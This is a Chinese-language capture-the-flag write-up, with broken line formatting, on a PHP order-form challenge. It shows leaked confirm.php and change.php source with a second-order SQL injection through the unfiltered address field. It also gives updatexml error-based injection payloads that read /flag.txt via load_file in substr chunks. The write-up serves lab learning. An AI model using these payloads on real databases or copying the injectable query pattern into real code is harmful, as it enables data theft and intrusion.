php
伪协议读取文件;源码泄露hint
;代码审计 发现二次注入点;SQL语句的二次注入和报错注入结合使用。报错注入进行文件读取操作;substr
函数配合报错注入输出固定长度和范围的数据
hint
,提示file=
这不妥妥的文件包含么,包含flag
没有,只能伪协议读取index.php
了config.php
文件,查看其内容后发现是数据库配置。再加上每个界面SQL语句过滤和nosql
漏洞 那更加确定就是SQL注入了waf
对于用户名和电话过滤很严格,但是对于地址几乎可以说不过滤。提交订单的后端代码,就没有对地址提交的数据进行任何过滤直接保存到数据库中。在更改信息的界面,又将前面保存在数据库中的地址信息直接拼接到数据库更新语句中,很明显存在二次注入。
//confirm.php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
//change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
$address = $_POST["address"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone))
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$address = addslashes($_POST["address"]);
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
整体的利用思想就是构造好paylaod
,在订单提交界面传给地址保存到数据库,在修改订单信息,将传入的paylaod
拼接到SQL语句中,进行恶意利用执行
由于是数据库的更新语句,所以只好利用报错注入了。因为借助了wp
,所以看都是直接使用load_file
读取的flag
文件,所以也就没有尝试报错注入数据库中的数据了
编写相应的paylaod
,由于报错注入返回长度有限,需要借助substr mid
等函数的截断输出,控制输出的长度和范围
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#
paylaod
填写到地址栏,提交之后进行更改订单信息,输入正确的用户名和电话才能得到传入的paylaod
。提交之后就会弹出前半段的flag
flag
需要再重新创建一个订单信息,步骤和上面一样,就能返回后半段的flag
了1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];